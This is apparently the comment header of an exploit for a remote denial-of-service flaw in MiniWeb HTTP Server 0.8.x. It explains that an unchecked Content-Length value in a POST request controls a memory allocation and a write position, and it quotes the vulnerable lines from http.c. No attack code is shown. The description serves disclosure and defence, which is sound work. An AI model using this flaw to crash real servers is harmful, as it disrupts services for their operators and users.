# MiniWeb Http Server 0.8.x Remote Denial of Service
# MiniWeb site http://sourceforge.net/projects/miniweb/
# Author: gbr
#
# Tested running the server under Windows XP SP2
#
# Description:
#
# The server doesn't do a sanity-check on 'Content-Length' value from POST Header, allowing the attacker to control
# the allocation size and the position in the 'pucPayload' char pointer to write.
# This could be used to trigger an exception.
#
#
# Vulnerable code - file http.c | lines 701-702 MiniWeb 0.8.1 | lines 704 - 705 MiniWeb 0.8.19
# ------------------------------------------
# phsSocket->request.pucPayload=malloc(phsSocket->response.iContentLength+1);
# phsSocket->request.pucPayload[phsSocket->response.iContentLength]=0;
# ------------------------------------------
